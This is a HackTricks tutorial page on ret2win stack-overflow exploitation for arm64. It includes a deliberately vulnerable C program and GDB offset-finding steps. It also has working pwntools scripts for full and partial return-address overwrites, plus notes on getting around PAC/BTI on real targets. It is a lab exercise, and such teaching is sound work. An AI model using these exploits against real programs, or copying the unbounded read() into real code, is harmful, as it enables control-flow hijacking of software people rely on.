Ret2win - arm64
Reading time: 7 minutes
tip
Learn & practice AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Learn & practice GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Learn & practice Az Hacking: HackTricks Training Azure Red Team Expert (AzRTE)
Support HackTricks
- Check the subscription plans!
- Join the 💬 Discord group or the telegram group or follow us on Twitter 🐦 @hacktricks_live.
- Share hacking tricks by submitting PRs to the HackTricks and HackTricks Cloud github repos.
Find an introduction to arm64 in:
Code
#include <stdio.h>
#include <unistd.h>
void win() {
printf("Congratulations!\n");
}
void vulnerable_function() {
char buffer[64];
read(STDIN_FILENO, buffer, 256); // <-- bof vulnerability
}
int main() {
vulnerable_function();
return 0;
}
Compile without pie and canary:
clang -o ret2win ret2win.c -fno-stack-protector -Wno-format-security -no-pie -mbranch-protection=none
- The extra flag
-mbranch-protection=none
disables AArch64 Branch Protection (PAC/BTI). If your toolchain defaults to enabling PAC or BTI, this keeps the lab reproducible. To check whether a compiled binary uses PAC/BTI you can:- Look for AArch64 GNU properties:
readelf --notes -W ret2win | grep -E 'AARCH64_FEATURE_1_(BTI|PAC)'
- Inspect prologues/epilogues for
paciasp
/autiasp
(PAC) or forbti c
landing pads (BTI):objdump -d ret2win | head -n 40
- Look for AArch64 GNU properties:
AArch64 calling convention quick facts
- The link register is
x30
(a.k.a.lr
), and functions typically savex29
/x30
withstp x29, x30, [sp, #-16]!
and restore them withldp x29, x30, [sp], #16; ret
. - This means the saved return address lives at
sp+8
relative to the frame base. With achar buffer[64]
placed below, the usual overwrite distance to the savedx30
is 64 (buffer) + 8 (saved x29) = 72 bytes — exactly what we’ll find below. - The stack pointer must remain 16‑byte aligned at function boundaries. If you build ROP chains later for more complex scenarios, keep the SP alignment or you may crash on function epilogues.
Finding the offset
Pattern option
This example was created using GEF:
Stat gdb with gef, create pattern and use it:
gdb -q ./ret2win
pattern create 200
run
.png)
arm64 will try to return to the address in the register x30 (which was compromised), we can use that to find the pattern offset:
pattern search $x30
.png)
The offset is 72 (9x48).
Stack offset option
Start by getting the stack address where the pc register is stored:
gdb -q ./ret2win
b *vulnerable_function + 0xc
run
info frame
.png)
Now set a breakpoint after the read()
and continue until the read()
is executed and set a pattern such as 13371337:
b *vulnerable_function+28
c
.png)
Find where this pattern is stored in memory:
.png)
Then: 0xfffffffff148 - 0xfffffffff100 = 0x48 = 72
.png)
No PIE
Regular
Get the address of the win
function:
objdump -d ret2win | grep win
ret2win: file format elf64-littleaarch64
00000000004006c4 <win>:
Exploit:
from pwn import *
# Configuration
binary_name = './ret2win'
p = process(binary_name)
# Optional but nice for AArch64
context.arch = 'aarch64'
# Prepare the payload
offset = 72
ret2win_addr = p64(0x00000000004006c4)
payload = b'A' * offset + ret2win_addr
# Send the payload
p.send(payload)
# Check response
print(p.recvline())
p.close()
.png)
Off-by-1
Actually this is going to by more like a off-by-2 in the stored PC in the stack. Instead of overwriting all the return address we are going to overwrite only the last 2 bytes with 0x06c4
.
from pwn import *
# Configuration
binary_name = './ret2win'
p = process(binary_name)
# Prepare the payload
offset = 72
ret2win_addr = p16(0x06c4)
payload = b'A' * offset + ret2win_addr
# Send the payload
p.send(payload)
# Check response
print(p.recvline())
p.close()
.png)
You can find another off-by-one example in ARM64 in https://8ksec.io/arm64-reversing-and-exploitation-part-9-exploiting-an-off-by-one-overflow-vulnerability/, which is a real off-by-one in a fictitious vulnerability.
With PIE
tip
Compile the binary without the -no-pie
argument
Off-by-2
Without a leak we don't know the exact address of the winning function but we can know the offset of the function from the binary and knowing that the return address we are overwriting is already pointing to a close address, it's possible to leak the offset to the win function (0x7d4) in this case and just use that offset:
.png)
from pwn import *
# Configuration
binary_name = './ret2win'
p = process(binary_name)
# Prepare the payload
offset = 72
ret2win_addr = p16(0x07d4)
payload = b'A' * offset + ret2win_addr
# Send the payload
p.send(payload)
# Check response
print(p.recvline())
p.close()
Notes on modern AArch64 hardening (PAC/BTI) and ret2win
- If the binary is compiled with AArch64 Branch Protection, you may see
paciasp
/autiasp
orbti c
emitted in function prologues/epilogues. In that case:- Returning to an address that is not a valid BTI landing pad may raise a
SIGILL
. Prefer targeting the exact function entry that containsbti c
. - If PAC is enabled for returns, naive return‑address overwrites may fail because the epilogue authenticates
x30
. For learning scenarios, rebuild with-mbranch-protection=none
(shown above). When attacking real targets, prefer non‑return hijacks (e.g., function pointer overwrites) or build ROP that never executes anautiasp
/ret
pair that authenticates your forged LR.
- Returning to an address that is not a valid BTI landing pad may raise a
- To check features quickly:
readelf --notes -W ./ret2win
and look forAARCH64_FEATURE_1_BTI
/AARCH64_FEATURE_1_PAC
notes.objdump -d ./ret2win | head -n 40
and look forbti c
,paciasp
,autiasp
.
Running on non‑ARM64 hosts (qemu‑user quick tip)
If you are on x86_64 but want to practice AArch64:
# Install qemu-user and AArch64 libs (Debian/Ubuntu)
sudo apt-get install qemu-user qemu-user-static libc6-arm64-cross
# Run the binary with the AArch64 loader environment
qemu-aarch64 -L /usr/aarch64-linux-gnu ./ret2win
# Debug with GDB (qemu-user gdbstub)
qemu-aarch64 -g 1234 -L /usr/aarch64-linux-gnu ./ret2win &
# In another terminal
gdb-multiarch ./ret2win -ex 'target remote :1234'
Related HackTricks pages
Ret2syscall - ARM64
References
- Enabling PAC and BTI on AArch64 for Linux (Arm Community, Nov 2024). https://community.arm.com/arm-community-blogs/b/operating-systems-blog/posts/enabling-pac-and-bti-on-aarch64-for-linux
- Procedure Call Standard for the Arm 64-bit Architecture (AAPCS64). https://github.com/ARM-software/abi-aa/blob/main/aapcs64/aapcs64.rst
tip
Learn & practice AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Learn & practice GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Learn & practice Az Hacking: HackTricks Training Azure Red Team Expert (AzRTE)
Support HackTricks
- Check the subscription plans!
- Join the 💬 Discord group or the telegram group or follow us on Twitter 🐦 @hacktricks_live.
- Share hacking tricks by submitting PRs to the HackTricks and HackTricks Cloud github repos.